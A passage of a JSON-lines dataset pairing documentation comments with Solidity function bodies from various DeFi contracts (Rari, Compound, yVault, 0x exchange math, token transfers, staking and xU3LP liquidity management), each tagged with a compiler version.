{MinterRole}.\r\n * @dev Claims RGT earned by `account` beforehand (so RariGovernanceTokenDistributor can continue distributing RGT considering the new RYPT balance of the caller).\r\n */", "function_code": "function mint(address account, uint256 amount) public onlyMinter returns (bool) {\r\n if (address(rariGovernanceTokenDistributor) != address(0) && block.number > rariGovernanceTokenDistributor.distributionStartBlock()) {\r\n // Claim RGT/set timestamp for initial transfer of RYPT to `account`\r\n if (balanceOf(account) > 0) rariGovernanceTokenDistributor.distributeRgt(account, IRariGovernanceTokenDistributor.RariPool.Yield);\r\n else rariGovernanceTokenDistributor.beforeFirstPoolTokenTransferIn(account, IRariGovernanceTokenDistributor.RariPool.Yield);\r\n }\r\n\r\n // Mint RYPT and return true\r\n _mint(account, amount);\r\n return true;\r\n }", "version": "0.5.17"} {"comment": "/**\r\n * @dev Retrives the latest mUSD/USD price given the prices of the underlying bAssets.\r\n */", "function_code": "function getMUsdUsdPrice(uint256[] memory bAssetUsdPrices) internal view returns (uint256) {\r\n (MassetStructs.Basset[] memory bAssets, ) = _basketManager.getBassets();\r\n uint256 usdSupplyScaled = 0;\r\n for (uint256 i = 0; i < bAssets.length; i++) usdSupplyScaled = usdSupplyScaled.add(bAssets[i].vaultBalance.mul(bAssets[i].ratio).div(1e8).mul(bAssetUsdPrices[i]));\r\n return usdSupplyScaled.div(_mUsd.totalSupply());\r\n }", "version": "0.5.17"} {"comment": "/**\r\n * @notice Returns the price of each supported currency in USD.\r\n */", "function_code": "function getCurrencyPricesInUsd() external view returns (uint256[] memory) {\r\n // Get bAsset prices and mUSD price\r\n uint256 ethUsdPrice = getEthUsdPrice();\r\n uint256[] memory prices = new uint256[](7);\r\n prices[0] = getDaiUsdPrice();\r\n prices[1] = getPriceInEth(\"USDC\").mul(ethUsdPrice).div(1e18);\r\n prices[2] = getPriceInEth(\"TUSD\").mul(ethUsdPrice).div(1e18);\r\n prices[3] = getPriceInEth(\"USDT\").mul(ethUsdPrice).div(1e18);\r\n prices[6] = getMUsdUsdPrice(prices);\r\n\r\n // Reorder bAsset prices to match _supportedCurrencies\r\n uint256 tusdPrice = prices[2];\r\n prices[2] = prices[3];\r\n prices[3] = tusdPrice;\r\n\r\n // Get other prices\r\n prices[4] = getPriceInEth(\"BUSD\").mul(ethUsdPrice).div(1e18);\r\n prices[5] = getPriceInEth(\"sUSD\").mul(ethUsdPrice).div(1e18);\r\n\r\n // Return prices array\r\n return prices;\r\n }", "version": "0.5.17"} {"comment": "/**\r\n * @dev Returns a token's cToken contract address given its ERC20 contract address.\r\n * @param erc20Contract The ERC20 contract address of the token.\r\n */", "function_code": "function getCErc20Contract(address erc20Contract) private pure returns (address) {\r\n if (erc20Contract == 0x6B175474E89094C44Da98b954EedeAC495271d0F) return 0x5d3a536E4D6DbD6114cc1Ead35777bAB948E3643; // DAI => cDAI\r\n if (erc20Contract == 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48) return 0x39AA39c021dfbaE8faC545936693aC917d5E7563; // USDC => cUSDC\r\n if (erc20Contract == 0xdAC17F958D2ee523a2206206994597C13D831ec7) return 0xf650C3d88D12dB855b8bf7D11Be6C55A4e07dCC9; // USDT => cUSDT\r\n else revert(\"Supported Compound cToken address not found for this token address.\");\r\n }", "version": "0.5.17"} {"comment": "/**\r\n * @dev Approves tokens to Compound without spending gas on every deposit.\r\n * @param erc20Contract The ERC20 contract address of the token.\r\n * @param amount Amount of the specified token to approve to Compound.\r\n */", "function_code": "function approve(address erc20Contract, uint256 amount) external {\r\n address cErc20Contract = getCErc20Contract(erc20Contract);\r\n IERC20 token = IERC20(erc20Contract);\r\n uint256 allowance = token.allowance(address(this), cErc20Contract);\r\n if (allowance == amount) return;\r\n if (amount > 0 && allowance > 0) token.safeApprove(cErc20Contract, 0);\r\n token.safeApprove(cErc20Contract, amount);\r\n return;\r\n }", "version": "0.5.17"} {"comment": "/**\r\n * @dev Deposits funds to the Compound pool. Assumes that you have already approved >= the amount to Compound.\r\n * @param erc20Contract The ERC20 contract address of the token to be deposited.\r\n * @param amount The amount of tokens to be deposited.\r\n */", "function_code": "function deposit(address erc20Contract, uint256 amount) external {\r\n require(amount > 0, \"Amount must be greater than 0.\");\r\n CErc20 cErc20 = CErc20(getCErc20Contract(erc20Contract));\r\n uint256 mintResult = cErc20.mint(amount);\r\n require(mintResult == 0, \"Error calling mint on Compound cToken: error code not equal to 0.\");\r\n }", "version": "0.5.17"} {"comment": "/**\r\n * @dev Withdraws funds from the Compound pool.\r\n * @param erc20Contract The ERC20 contract address of the token to be withdrawn.\r\n * @param amount The amount of tokens to be withdrawn.\r\n */", "function_code": "function withdraw(address erc20Contract, uint256 amount) external {\r\n require(amount > 0, \"Amount must be greater than 0.\");\r\n CErc20 cErc20 = CErc20(getCErc20Contract(erc20Contract));\r\n uint256 redeemResult = cErc20.redeemUnderlying(amount);\r\n require(redeemResult == 0, \"Error calling redeemUnderlying on Compound cToken: error code not equal to 0.\");\r\n }", "version": "0.5.17"} {"comment": "/**\r\n * @dev Withdraws all funds from the Compound pool.\r\n * @param erc20Contract The ERC20 contract address of the token to be withdrawn.\r\n * @return Boolean indicating success.\r\n */", "function_code": "function withdrawAll(address erc20Contract) external returns (bool) {\r\n CErc20 cErc20 = CErc20(getCErc20Contract(erc20Contract));\r\n uint256 balance = cErc20.balanceOf(address(this));\r\n if (balance <= 0) return false;\r\n uint256 redeemResult = cErc20.redeem(balance);\r\n require(redeemResult == 0, \"Error calling redeem on Compound cToken: error code not equal to 0.\");\r\n return true;\r\n }", "version": "0.5.17"} {"comment": "/// @dev Calculates the EIP712 typed data hash of a transaction with a given domain separator.\n/// @param transaction 0x transaction structure.\n/// @return EIP712 typed data hash of the transaction.", "function_code": "function getTypedDataHash(ZeroExTransaction memory transaction, bytes32 eip712ExchangeDomainHash)\r\n internal\r\n pure\r\n returns (bytes32 transactionHash)\r\n {\r\n // Hash the transaction with the domain separator of the Exchange contract.\r\n transactionHash = LibEIP712.hashEIP712Message(\r\n eip712ExchangeDomainHash,\r\n transaction.getStructHash()\r\n );\r\n return transactionHash;\r\n }", "version": "0.5.17"} {"comment": "/// @dev Calculates EIP712 hash of the 0x transaction struct.\n/// @param transaction 0x transaction structure.\n/// @return EIP712 hash of the transaction struct.", "function_code": "function getStructHash(ZeroExTransaction memory transaction)\r\n internal\r\n pure\r\n returns (bytes32 result)\r\n {\r\n bytes32 schemaHash = _EIP712_ZEROEX_TRANSACTION_SCHEMA_HASH;\r\n bytes memory data = transaction.data;\r\n uint256 salt = transaction.salt;\r\n uint256 expirationTimeSeconds = transaction.expirationTimeSeconds;\r\n uint256 gasPrice = transaction.gasPrice;\r\n address signerAddress = transaction.signerAddress;\r\n\r\n // Assembly for more efficiently computing:\r\n // result = keccak256(abi.encodePacked(\r\n // schemaHash,\r\n // salt,\r\n // expirationTimeSeconds,\r\n // gasPrice,\r\n // uint256(signerAddress),\r\n // keccak256(data)\r\n // ));\r\n\r\n assembly {\r\n // Compute hash of data\r\n let dataHash := keccak256(add(data, 32), mload(data))\r\n\r\n // Load free memory pointer\r\n let memPtr := mload(64)\r\n\r\n mstore(memPtr, schemaHash) // hash of schema\r\n mstore(add(memPtr, 32), salt) // salt\r\n mstore(add(memPtr, 64), expirationTimeSeconds) // expirationTimeSeconds\r\n mstore(add(memPtr, 96), gasPrice) // gasPrice\r\n mstore(add(memPtr, 128), and(signerAddress, 0xffffffffffffffffffffffffffffffffffffffff)) // signerAddress\r\n mstore(add(memPtr, 160), dataHash) // hash of data\r\n\r\n // Compute hash\r\n result := keccak256(memPtr, 192)\r\n }\r\n return result;\r\n }", "version": "0.5.17"} {"comment": "/**\r\n * @dev Market sells to 0x exchange orders up to a certain amount of input.\r\n * @param orders The limit orders to be filled in ascending order of price.\r\n * @param signatures The signatures for the orders.\r\n * @param takerAssetFillAmount The amount of the taker asset to sell (excluding taker fees).\r\n * @param protocolFee The protocol fee in ETH to pay to 0x.\r\n * @return Array containing the taker asset filled amount (sold) and maker asset filled amount (bought).\r\n */", "function_code": "function marketSellOrdersFillOrKill(LibOrder.Order[] memory orders, bytes[] memory signatures, uint256 takerAssetFillAmount, uint256 protocolFee) public returns (uint256[2] memory) {\r\n require(orders.length > 0, \"At least one order and matching signature is required.\");\r\n require(orders.length == signatures.length, \"Mismatch between number of orders and signatures.\");\r\n require(takerAssetFillAmount > 0, \"Taker asset fill amount must be greater than 0.\");\r\n LibFillResults.FillResults memory fillResults = _exchange.marketSellOrdersFillOrKill.value(protocolFee)(orders, takerAssetFillAmount, signatures);\r\n return [fillResults.takerAssetFilledAmount, fillResults.makerAssetFilledAmount];\r\n }", "version": "0.5.17"} {"comment": "/// @dev Calculates partial value given a numerator and denominator rounded down.\n/// Reverts if rounding error is >= 0.1%\n/// @param numerator Numerator.\n/// @param denominator Denominator.\n/// @param target Value to calculate partial of.\n/// @return Partial value of target rounded down.", "function_code": "function safeGetPartialAmountFloor(\r\n uint256 numerator,\r\n uint256 denominator,\r\n uint256 target\r\n )\r\n internal\r\n pure\r\n returns (uint256 partialAmount)\r\n {\r\n if (isRoundingErrorFloor(\r\n numerator,\r\n denominator,\r\n target\r\n )) {\r\n LibRichErrors.rrevert(LibMathRichErrors.RoundingError(\r\n numerator,\r\n denominator,\r\n target\r\n ));\r\n }\r\n\r\n partialAmount = numerator.safeMul(target).safeDiv(denominator);\r\n return partialAmount;\r\n }", "version": "0.5.17"} {"comment": "/// @dev Checks if rounding error >= 0.1% when rounding up.\n/// @param numerator Numerator.\n/// @param denominator Denominator.\n/// @param target Value to multiply with numerator/denominator.\n/// @return Rounding error is present.", "function_code": "function isRoundingErrorCeil(\r\n uint256 numerator,\r\n uint256 denominator,\r\n uint256 target\r\n )\r\n internal\r\n pure\r\n returns (bool isError)\r\n {\r\n if (denominator == 0) {\r\n LibRichErrors.rrevert(LibMathRichErrors.DivisionByZeroError());\r\n }\r\n\r\n // See the comments in `isRoundingError`.\r\n if (target == 0 || numerator == 0) {\r\n // When either is zero, the ideal value and rounded value are zero\r\n // and there is no rounding error. (Although the relative error\r\n // is undefined.)\r\n return false;\r\n }\r\n // Compute remainder as before\r\n uint256 remainder = mulmod(\r\n target,\r\n numerator,\r\n denominator\r\n );\r\n remainder = denominator.safeSub(remainder) % denominator;\r\n isError = remainder.safeMul(1000) >= numerator.safeMul(target);\r\n return isError;\r\n }", "version": "0.5.17"} {"comment": "// Returns how much a user could earn plus the giving block number.", "function_code": "function takeWithBlock() external override view returns (uint, uint) {\r\n if(mintCumulation >= maxMintCumulation)\r\n return (0, block.number);\r\n\r\n UserInfo storage userInfo = users[msg.sender];\r\n uint _accAmountPerShare = accAmountPerShare;\r\n // uint256 lpSupply = totalProductivity;\r\n if (block.number > lastRewardBlock && totalProductivity != 0) {\r\n uint multiplier = block.number.sub(lastRewardBlock);\r\n uint reward = multiplier.mul(wasabiPerBlock);\r\n _accAmountPerShare = _accAmountPerShare.add(reward.mul(1e12).div(totalProductivity));\r\n }\r\n return (userInfo.amount.mul(_accAmountPerShare).div(1e12).sub(userInfo.rewardDebt), block.number);\r\n }", "version": "0.6.8"} {"comment": "/**\r\n * @dev Returns a token's yVault contract address given its ERC20 contract address.\r\n * @param erc20Contract The ERC20 contract address of the token.\r\n */", "function_code": "function getYVaultContract(address erc20Contract) private pure returns (address) {\r\n if (erc20Contract == 0x6B175474E89094C44Da98b954EedeAC495271d0F) return 0xACd43E627e64355f1861cEC6d3a6688B31a6F952; // DAI => DAI yVault\r\n if (erc20Contract == 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48) return 0x597aD1e0c13Bfe8025993D9e79C69E1c0233522e; // USDC => USDC yVault\r\n if (erc20Contract == 0xdAC17F958D2ee523a2206206994597C13D831ec7) return 0x2f08119C6f07c006695E079AAFc638b8789FAf18; // USDT => USDT yVault\r\n if (erc20Contract == 0x0000000000085d4780B73119b644AE5ecd22b376) return 0x37d19d1c4E1fa9DC47bD1eA12f742a0887eDa74a; // TUSD => TUSD yVault\r\n else revert(\"Supported yearn.finance yVault address not found for this token address.\");\r\n }", "version": "0.5.17"} {"comment": "/**\r\n * @dev Withdraws funds from the yVault.\r\n * @param erc20Contract The ERC20 contract address of the token to be withdrawn.\r\n * @param amount The amount of tokens to be withdrawn.\r\n */", "function_code": "function withdraw(address erc20Contract, uint256 amount) external {\r\n require(amount > 0, \"Amount must be greater than 0.\");\r\n IVault yVault = IVault(getYVaultContract(erc20Contract));\r\n uint256 pricePerFullShare = yVault.getPricePerFullShare();\r\n uint256 shares = amount.mul(1e18).div(pricePerFullShare);\r\n if (shares.mul(pricePerFullShare).div(1e18) < amount) shares++; // Round up if necessary (i.e., if the division above left a remainder)\r\n yVault.withdraw(shares);\r\n }", "version": "0.5.17"} {"comment": "/**\r\n * @dev sets 0 initial tokens, the owner, the supplyController,\r\n * the fee controller and fee recipient.\r\n * this serves as the constructor for the proxy but compiles to the\r\n * memory model of the Implementation contract.\r\n */", "function_code": "function initialize() public {\r\n require(!initialized, \"already initialized\");\r\n owner = msg.sender;\r\n balances[owner] = totalSupply_;\r\n emit Transfer(address(0), owner, totalSupply_);\r\n proposedOwner = address(0);\r\n assetProtectionRole = address(0);\r\n supplyController = msg.sender;\r\n initializeDomainSeparator();\r\n initialized = true;\r\n }", "version": "0.4.26"} {"comment": "/**\r\n * @dev Transfer token to a specified address from msg.sender\r\n * Transfer additionally sends the fee to the fee controller\r\n * Note: the use of Safemath ensures that _value is nonnegative.\r\n * @param _to The address to transfer to.\r\n * @param _value The amount to be transferred.\r\n */", "function_code": "function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {\r\n require(_to != address(0), \"cannot transfer to address zero\");\r\n require(!frozen[_to] && !frozen[msg.sender], \"address frozen\");\r\n require(_value <= balances[msg.sender], \"insufficient funds\");\r\n\r\n _transfer(msg.sender, _to, _value);\r\n return true;\r\n }", "version": "0.4.26"} {"comment": "/**\r\n * @dev Allows the current owner or proposed owner to cancel transferring control of the contract to a proposedOwner\r\n */", "function_code": "function disregardProposeOwner() public {\r\n require(msg.sender == proposedOwner || msg.sender == owner, \"only proposedOwner or owner\");\r\n require(proposedOwner != address(0), \"can only disregard a proposed owner that was previously set\");\r\n address _oldProposedOwner = proposedOwner;\r\n proposedOwner = address(0);\r\n emit OwnershipTransferDisregarded(_oldProposedOwner);\r\n }", "version": "0.4.26"} {"comment": "/**\r\n * @dev Performs a transfer on behalf of the from address, identified by its signature on the delegatedTransfer msg.\r\n * Splits a signature byte array into r,s,v for convenience.\r\n * @param sig the signature of the delgatedTransfer msg.\r\n * @param to The address to transfer to.\r\n * @param value The amount to be transferred.\r\n * @param serviceFee an optional ERC20 service fee paid to the executor of betaDelegatedTransfer by the from address.\r\n * @param seq a sequencing number included by the from address specific to this contract to protect from replays.\r\n * @param deadline a block number after which the pre-signed transaction has expired.\r\n * @return A boolean that indicates if the operation was successful.\r\n */", "function_code": "function betaDelegatedTransfer(\r\n bytes memory sig, address to, uint256 value, uint256 serviceFee, uint256 seq, uint256 deadline\r\n ) public returns (bool) {\r\n require(sig.length == 65, \"signature should have length 65\");\r\n bytes32 r;\r\n bytes32 s;\r\n uint8 v;\r\n assembly {\r\n r := mload(add(sig, 32))\r\n s := mload(add(sig, 64))\r\n v := byte(0, mload(add(sig, 96)))\r\n }\r\n require(_betaDelegatedTransfer(r, s, v, to, value, serviceFee, seq, deadline), \"failed transfer\");\r\n return true;\r\n }", "version": "0.4.26"} {"comment": "/**\r\n * @dev Performs an atomic batch of transfers on behalf of the from addresses, identified by their signatures.\r\n * Lack of nested array support in arguments requires all arguments to be passed as equal size arrays where\r\n * delegated transfer number i is the combination of all arguments at index i\r\n * @param r the r signatures of the delgatedTransfer msg.\r\n * @param s the s signatures of the delgatedTransfer msg.\r\n * @param v the v signatures of the delgatedTransfer msg.\r\n * @param to The addresses to transfer to.\r\n * @param value The amounts to be transferred.\r\n * @param serviceFee optional ERC20 service fees paid to the delegate of betaDelegatedTransfer by the from address.\r\n * @param seq sequencing numbers included by the from address specific to this contract to protect from replays.\r\n * @param deadline block numbers after which the pre-signed transactions have expired.\r\n * @return A boolean that indicates if the operation was successful.\r\n */", "function_code": "function betaDelegatedTransferBatch(\r\n bytes32[] r, bytes32[] s, uint8[] v, address[] to, uint256[] value, uint256[] serviceFee, uint256[] seq, uint256[] deadline\r\n ) public returns (bool) {\r\n require(r.length == s.length && r.length == v.length && r.length == to.length && r.length == value.length, \"length mismatch\");\r\n require(r.length == serviceFee.length && r.length == seq.length && r.length == deadline.length, \"length mismatch\");\r\n\r\n for (uint i = 0; i < r.length; i++) {\r\n require(\r\n _betaDelegatedTransfer(r[i], s[i], v[i], to[i], value[i], serviceFee[i], seq[i], deadline[i]),\r\n \"failed transfer\"\r\n );\r\n }\r\n return true;\r\n }", "version": "0.4.26"} {"comment": "/// @dev Calculates amounts filled and fees paid by maker and taker.\n/// @param order to be filled.\n/// @param takerAssetFilledAmount Amount of takerAsset that will be filled.\n/// @param protocolFeeMultiplier The current protocol fee of the exchange contract.\n/// @param gasPrice The gasprice of the transaction. This is provided so that the function call can continue\n/// to be pure rather than view.\n/// @return fillResults Amounts filled and fees paid by maker and taker.", "function_code": "function calculateFillResults(\r\n LibOrder.Order memory order,\r\n uint256 takerAssetFilledAmount,\r\n uint256 protocolFeeMultiplier,\r\n uint256 gasPrice\r\n )\r\n internal\r\n pure\r\n returns (FillResults memory fillResults)\r\n {\r\n // Compute proportional transfer amounts\r\n fillResults.takerAssetFilledAmount = takerAssetFilledAmount;\r\n fillResults.makerAssetFilledAmount = LibMath.safeGetPartialAmountFloor(\r\n takerAssetFilledAmount,\r\n order.takerAssetAmount,\r\n order.makerAssetAmount\r\n );\r\n fillResults.makerFeePaid = LibMath.safeGetPartialAmountFloor(\r\n takerAssetFilledAmount,\r\n order.takerAssetAmount,\r\n order.makerFee\r\n );\r\n fillResults.takerFeePaid = LibMath.safeGetPartialAmountFloor(\r\n takerAssetFilledAmount,\r\n order.takerAssetAmount,\r\n order.takerFee\r\n );\r\n\r\n // Compute the protocol fee that should be paid for a single fill.\r\n fillResults.protocolFeePaid = gasPrice.safeMul(protocolFeeMultiplier);\r\n\r\n return fillResults;\r\n }", "version": "0.5.17"} {"comment": "/// @dev Adds properties of both FillResults instances.\n/// @param fillResults1 The first FillResults.\n/// @param fillResults2 The second FillResults.\n/// @return The sum of both fill results.", "function_code": "function addFillResults(\r\n FillResults memory fillResults1,\r\n FillResults memory fillResults2\r\n )\r\n internal\r\n pure\r\n returns (FillResults memory totalFillResults)\r\n {\r\n totalFillResults.makerAssetFilledAmount = fillResults1.makerAssetFilledAmount.safeAdd(fillResults2.makerAssetFilledAmount);\r\n totalFillResults.takerAssetFilledAmount = fillResults1.takerAssetFilledAmount.safeAdd(fillResults2.takerAssetFilledAmount);\r\n totalFillResults.makerFeePaid = fillResults1.makerFeePaid.safeAdd(fillResults2.makerFeePaid);\r\n totalFillResults.takerFeePaid = fillResults1.takerFeePaid.safeAdd(fillResults2.takerFeePaid);\r\n totalFillResults.protocolFeePaid = fillResults1.protocolFeePaid.safeAdd(fillResults2.protocolFeePaid);\r\n\r\n return totalFillResults;\r\n }", "version": "0.5.17"} {"comment": "/// @dev Calculates the fill results for the maker and taker in the order matching and writes the results\n/// to the fillResults that are being collected on the order. Both orders will be fully filled in this\n/// case.\n/// @param leftMakerAssetAmountRemaining The amount of the left maker asset that is remaining to be filled.\n/// @param leftTakerAssetAmountRemaining The amount of the left taker asset that is remaining to be filled.\n/// @param rightMakerAssetAmountRemaining The amount of the right maker asset that is remaining to be filled.\n/// @param rightTakerAssetAmountRemaining The amount of the right taker asset that is remaining to be filled.\n/// @return MatchFillResults struct that does not include fees paid or spreads taken.", "function_code": "function _calculateCompleteFillBoth(\r\n uint256 leftMakerAssetAmountRemaining,\r\n uint256 leftTakerAssetAmountRemaining,\r\n uint256 rightMakerAssetAmountRemaining,\r\n uint256 rightTakerAssetAmountRemaining\r\n )\r\n private\r\n pure\r\n returns (MatchedFillResults memory matchedFillResults)\r\n {\r\n // Calculate the fully filled results for both orders.\r\n matchedFillResults.left.makerAssetFilledAmount = leftMakerAssetAmountRemaining;\r\n matchedFillResults.left.takerAssetFilledAmount = leftTakerAssetAmountRemaining;\r\n matchedFillResults.right.makerAssetFilledAmount = rightMakerAssetAmountRemaining;\r\n matchedFillResults.right.takerAssetFilledAmount = rightTakerAssetAmountRemaining;\r\n\r\n return matchedFillResults;\r\n }", "version": "0.5.17"} {"comment": "/// @dev Calculates the fill results for the maker and taker in the order matching and writes the results\n/// to the fillResults that are being collected on the order.\n/// @param leftOrder The left order that is being maximally filled. All of the information about fill amounts\n/// can be derived from this order and the right asset remaining fields.\n/// @param rightMakerAssetAmountRemaining The amount of the right maker asset that is remaining to be filled.\n/// @param rightTakerAssetAmountRemaining The amount of the right taker asset that is remaining to be filled.\n/// @return MatchFillResults struct that does not include fees paid or spreads taken.", "function_code": "function _calculateCompleteRightFill(\r\n LibOrder.Order memory leftOrder,\r\n uint256 rightMakerAssetAmountRemaining,\r\n uint256 rightTakerAssetAmountRemaining\r\n )\r\n private\r\n pure\r\n returns (MatchedFillResults memory matchedFillResults)\r\n {\r\n matchedFillResults.right.makerAssetFilledAmount = rightMakerAssetAmountRemaining;\r\n matchedFillResults.right.takerAssetFilledAmount = rightTakerAssetAmountRemaining;\r\n matchedFillResults.left.takerAssetFilledAmount = rightMakerAssetAmountRemaining;\r\n // Round down to ensure the left maker's exchange rate does not exceed the price specified by the order.\r\n // We favor the left maker when the exchange rate must be rounded and the profit is being paid in the\r\n // left maker asset.\r\n matchedFillResults.left.makerAssetFilledAmount = LibMath.safeGetPartialAmountFloor(\r\n leftOrder.makerAssetAmount,\r\n leftOrder.takerAssetAmount,\r\n rightMakerAssetAmountRemaining\r\n );\r\n\r\n return matchedFillResults;\r\n }", "version": "0.5.17"} {"comment": "/**\r\n * Transfer tokens from the caller to a new holder.\r\n * No fee with this transfer\r\n */", "function_code": "function transfer(address _toAddress, uint256 _amountOfTokens) onlyBagholders() public returns(bool) {\r\n // setup\r\n address _customerAddress = msg.sender;\r\n\r\n // make sure we have the requested tokens\r\n require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);\r\n\r\n // withdraw all outstanding dividends first\r\n if(myDividends(true) > 0) withdraw();\r\n\r\n // exchange tokens\r\n tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens);\r\n tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _amountOfTokens);\r\n\r\n // update dividend trackers\r\n payoutsTo_[_customerAddress] -= (int256) (profitPerShare_ * _amountOfTokens);\r\n payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _amountOfTokens);\r\n\r\n\r\n // fire event\r\n emit Transfer(_customerAddress, _toAddress, _amountOfTokens);\r\n\r\n // ERC20\r\n return true;\r\n }", "version": "0.4.21"} {"comment": "//======================================ACTION CALLS=========================================//\t", "function_code": "function _stake(uint256 _amount) internal {\r\n\t \r\n\t require(stakingEnabled, \"Staking not yet initialized\");\r\n\t \r\n\t\trequire(IERC20(UniswapV2).balanceOf(msg.sender) >= _amount, \"Insufficient SWAP AFT balance\");\r\n\t\trequire(frozenOf(msg.sender) + _amount >= MINIMUM_STAKE, \"Your amount is lower than the minimum amount allowed to stake\");\r\n\t\trequire(IERC20(UniswapV2).allowance(msg.sender, address(this)) >= _amount, \"Not enough allowance given to contract yet to spend by user\");\r\n\t\t\r\n\t\tinfo.users[msg.sender].staketime = now;\r\n\t\tinfo.totalFrozen += _amount;\r\n\t\tinfo.users[msg.sender].frozen += _amount;\r\n\t\t\r\n\t\tinfo.users[msg.sender].scaledPayout += int256(_amount * info.scaledPayoutPerToken); \r\n\t\tIERC20(UniswapV2).transferFrom(msg.sender, address(this), _amount); // Transfer liquidity tokens from the sender to this contract\r\n\t\t\r\n emit StakeEvent(msg.sender, address(this), _amount);\r\n\t}", "version": "0.6.4"} {"comment": "/**\n * @dev Mint xU3LP tokens by sending *amount* of *inputAsset* tokens\n */", "function_code": "function mintWithToken(uint8 inputAsset, uint256 amount)\n external\n notLocked(msg.sender)\n whenNotPaused()\n {\n require(amount > 0);\n lock(msg.sender);\n checkTwap();\n uint256 fee = Utils.calculateFee(amount, feeDivisors.mintFee);\n if (inputAsset == 0) {\n token0.safeTransferFrom(msg.sender, address(this), amount);\n _incrementWithdrawableToken0Fees(fee);\n _mintInternal(\n getToken0AmountInWei(getAmountInAsset1Terms(amount).sub(fee))\n );\n } else {\n token1.safeTransferFrom(msg.sender, address(this), amount);\n _incrementWithdrawableToken1Fees(fee);\n _mintInternal(\n getToken1AmountInWei(getAmountInAsset0Terms(amount).sub(fee))\n );\n }\n }", "version": "0.7.6"} {"comment": "/**\n * @dev Burn *amount* of xU3LP tokens to receive proportional\n * amount of *outputAsset* tokens\n */", "function_code": "function burn(uint8 outputAsset, uint256 amount)\n external\n notLocked(msg.sender)\n {\n require(amount > 0);\n lock(msg.sender);\n checkTwap();\n uint256 bufferBalance = getBufferBalance();\n uint256 totalBalance = bufferBalance.add(getStakedBalance());\n\n uint256 proRataBalance;\n if (outputAsset == 0) {\n proRataBalance = (totalBalance.mul(getAmountInAsset0Terms(amount)))\n .div(totalSupply());\n } else {\n proRataBalance = (\n totalBalance.mul(getAmountInAsset1Terms(amount)).div(\n totalSupply()\n )\n );\n }\n\n // Add swap slippage to the calculations\n uint256 proRataBalanceWithSlippage =\n proRataBalance.add(proRataBalance.div(SWAP_SLIPPAGE));\n\n require(\n proRataBalanceWithSlippage <= bufferBalance,\n \"Insufficient exit liquidity\"\n );\n super._burn(msg.sender, amount);\n\n // Fee is in wei (18 decimals, so doesn't need to be normalized)\n uint256 fee = Utils.calculateFee(proRataBalance, feeDivisors.burnFee);\n if (outputAsset == 0) {\n withdrawableToken0Fees = withdrawableToken0Fees.add(fee);\n } else {\n withdrawableToken1Fees = withdrawableToken1Fees.add(fee);\n }\n uint256 transferAmount = proRataBalance.sub(fee);\n transferOnBurn(outputAsset, transferAmount);\n }", "version": "0.7.6"} {"comment": "// Get wanted xU3LP contract token balance - 5% of NAV", "function_code": "function getTargetBufferTokenBalance()\n public\n view\n returns (uint256 amount0, uint256 amount1)\n {\n (uint256 bufferAmount0, uint256 bufferAmount1) =\n getBufferTokenBalance();\n (uint256 poolAmount0, uint256 poolAmount1) = getStakedTokenBalance();\n amount0 = bufferAmount0.add(poolAmount0).div(BUFFER_TARGET);\n amount1 = bufferAmount1.add(poolAmount1).div(BUFFER_TARGET);\n // Keep 50:50 ratio\n amount0 = amount0.add(amount1).div(2);\n amount1 = amount0;\n }", "version": "0.7.6"} {"comment": "/**\n * Check if token amounts match before attempting mint() or burn()\n * Uniswap contract requires deposits at a precise token ratio\n * If they don't match, swap the tokens so as to deposit as much as possible\n */", "function_code": "function checkIfAmountsMatchAndSwap(\n uint256 amount0ToMint,\n uint256 amount1ToMint\n ) private returns (uint256 amount0, uint256 amount1) {\n (uint256 amount0Minted, uint256 amount1Minted) =\n calculatePoolMintedAmounts(amount0ToMint, amount1ToMint);\n if (\n amount0Minted <\n amount0ToMint.sub(amount0ToMint.div(MINT_BURN_SLIPPAGE)) ||\n amount1Minted <\n amount1ToMint.sub(amount1ToMint.div(MINT_BURN_SLIPPAGE))\n ) {\n // calculate liquidity ratio\n uint256 mintLiquidity =\n getLiquidityForAmounts(amount0ToMint, amount1ToMint);\n uint256 poolLiquidity = getPoolLiquidity();\n int128 liquidityRatio =\n poolLiquidity == 0\n ? 0\n : int128(ABDKMath64x64.divuu(mintLiquidity, poolLiquidity));\n (amount0, amount1) = restoreTokenRatios(\n amount0ToMint,\n amount1ToMint,\n amount0Minted,\n amount1Minted,\n liquidityRatio\n );\n } else {\n (amount0, amount1) = (amount0ToMint, amount1ToMint);\n }\n }", "version": "0.7.6"} {"comment": "// Migrate the current position to a new position with different ticks", "function_code": "function migratePosition(int24 newTickLower, int24 newTickUpper)\n external\n onlyOwnerOrManager\n {\n require(newTickLower != tickLower || newTickUpper != tickUpper);\n\n // withdraw entire liquidity from the position\n (uint256 _amount0, uint256 _amount1) = withdrawAll();\n // burn current position NFT\n positionManager.burn(tokenId);\n tokenId = 0;\n // set new ticks and prices\n tickLower = newTickLower;\n tickUpper = newTickUpper;\n priceLower = TickMath.getSqrtRatioAtTick(newTickLower);\n priceUpper = TickMath.getSqrtRatioAtTick(newTickUpper);\n\n // if amounts don't add up when minting, swap tokens\n (uint256 amount0, uint256 amount1) =\n checkIfAmountsMatchAndSwap(_amount0, _amount1);\n\n // mint the position NFT and deposit the liquidity\n // set new NFT token id\n tokenId = createPosition(amount0, amount1);\n emit PositionMigrated(newTickLower, newTickUpper);\n }", "version": "0.7.6"} {"comment": "/**\n * Transfers asset amount when user calls burn()\n * If there's not enough balance of that asset,\n * triggers a router swap to increase the balance\n * keep token ratio in xU3LP at 50:50 after swapping\n */", "function_code": "function transferOnBurn(uint8 outputAsset, uint256 transferAmount) private {\n (uint256 balance0, uint256 balance1) = getBufferTokenBalance();\n if (outputAsset == 0) {\n if (balance0 < transferAmount) {\n uint256 amountIn =\n transferAmount.add(transferAmount.div(SWAP_SLIPPAGE)).sub(\n balance0\n );\n uint256 amountOut = transferAmount.sub(balance0);\n uint256 balanceFactor = Utils.sub0(balance1, amountOut).div(2);\n amountIn = amountIn.add(balanceFactor);\n amountOut = amountOut.add(balanceFactor);\n swapToken1ForToken0(amountIn, amountOut);\n }\n transferAmount = getToken0AmountInNativeDecimals(transferAmount);\n token0.safeTransfer(msg.sender, transferAmount);\n } else {\n if (balance1 < transferAmount) {\n uint256 amountIn =\n 